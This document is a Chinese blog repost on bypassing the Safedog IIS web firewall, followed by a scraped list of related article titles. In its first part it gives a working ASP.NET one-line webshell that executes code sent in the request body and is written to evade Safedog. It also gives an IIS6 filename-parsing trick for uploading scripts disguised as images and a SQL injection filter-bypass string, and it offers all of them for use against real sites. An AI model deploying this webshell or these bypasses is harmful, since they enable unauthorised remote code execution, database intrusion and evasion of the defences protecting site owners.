突破安全狗防注入及上传的一些思路

1、绕过IIS安全狗的一句话。
前几天测试一个网站。找到突破口之后，写入webshell，但服务器上装有IIS安全狗，平时常用的一句话或者shell都用不了。下面这段.net一句话可以突破。
<%@ Page Language="C#" ValidateRequest="false" %> <%try{System.Reflection.Assembly.Load(Request.BinaryRead(int.Parse(Request.Cookies["admin163.net"].Value))).CreateInstance("c", true, System.Reflection.BindingFlags.Default, null, new object[] { this }, null,null); } catch { }%>连接端用cncert的aspx一句话客户端。

2、IIS6.0解析漏洞遇到安全狗。
文件名为http://www.web.com/sh3llc0de.asp;1.jpg。
这样的会被IIS安全狗果断屏蔽。
改成如下名称,IIS6一样会解析：
www.web.com/;1.asp;1.jpg

3、安全狗的注入绕过。
常用的如r00ts.asp?id=1 and 1=1 是会被安全狗屏蔽的。
但如果：
r00ts.asp?r00ts.com=%00.&id=69%20 and 1=1
就可以成功绕过了。

转载于:https://blog.51cto.com/findyyy/1017826

突破安全狗防注入及上传的一些思路相关推荐

Kali Linux Web 渗透测试视频教程—第十一课-扫描、sql注入、上传绕过
Kali Linux Web 渗透测试视频教程-第十一课-扫描.sql注入.上传绕过文/玄魂原文链接:http://www.xuanhun521.com/Blog/2014/10/25/kali- ...
由浅入深，谈谈文件上传的优化思路
前言在日常开发中我们少不了接触文件上传的功能,在某些业务场景中甚至需要我们上传较大的文件,如果文件体积比较大,或者网络条件不好时,上传的时间会比较长,用户不能刷新页面,也无法中断上传,只能耐心等待请 ...
全网最详细的渗透测试靶机实操步骤——vulnhub靶机实战(七)IMF【包含了sql注入,文件上传,gif图片木马制作,缓冲区溢出漏洞sploit等诸多知识点的靶机,超多干货】
靶机地址:https://www.vulnhub.com/entry/imf-1,162/ 靶机难度:中级(CTF) 靶机发布日期:2016年10月30日靶机描述:欢迎使用" IMF&qu ...
web漏洞（CSRF-SSRF-文件包含-文件解释-文件下载-目录遍历-sql注入-文件上传-反序列化-XSS-XXE-RCE-逻辑越权）
1.CSRF(跨站请求伪造)(需要对方是在登录的情况下)--主要用于骗转账等等原理:A在已经登录了银行的网站,并且此时去访问了B所构造的网页添加了特殊代码,A点击了B,由于A已经登录了,就造成了A直 ...
cmseasy(易通CMS) 注入漏洞上传漏洞爆路径ODAY(含修复)
注入漏洞注入点:/celive/js/include.php?cmseasylive=1111&departmentid=0 类型: mysql blind-string 错误关键字:onl ...
加密压缩防360云上传
思路很简单,主要是压缩包加密码,这样360也无法识别. 现将文件加密压缩,记住是zip格式.用到一个vbs来解压运行. 然后将两个文件再次捆绑为自解压,解压后运行这个vbs VBS代码: On Err ...
突破asa,cer,cdx,php,aspx 上传
发现后台可以设置上传类型,但是asp,asa,cer等等都不行,上传之后就提示下载尝试着关闭了下了,还是不行,后来找到了一位前辈写的文章过滤了asa,cer,cdx,php,aspx等脚本类型的上 ...
金蝶云星空ERP附件上传接口开发思路
1️⃣ 需求描述:需要通过调用金蝶API接口实现指定单据的附件上传.本文以收料通知单为例,以Java代码示例进行讲解. tips:阅读本文开始前,希望你是一名开发者同时阅读过: https://vip ...
狗屎java作业上传就删
public class bubblesort {public static void main(String[] args) {int[] a = {25,24,12,76,101,96,28};S ...

突破安全狗防注入及上传的一些思路

突破安全狗防注入及上传的一些思路相关推荐

最新文章

热门文章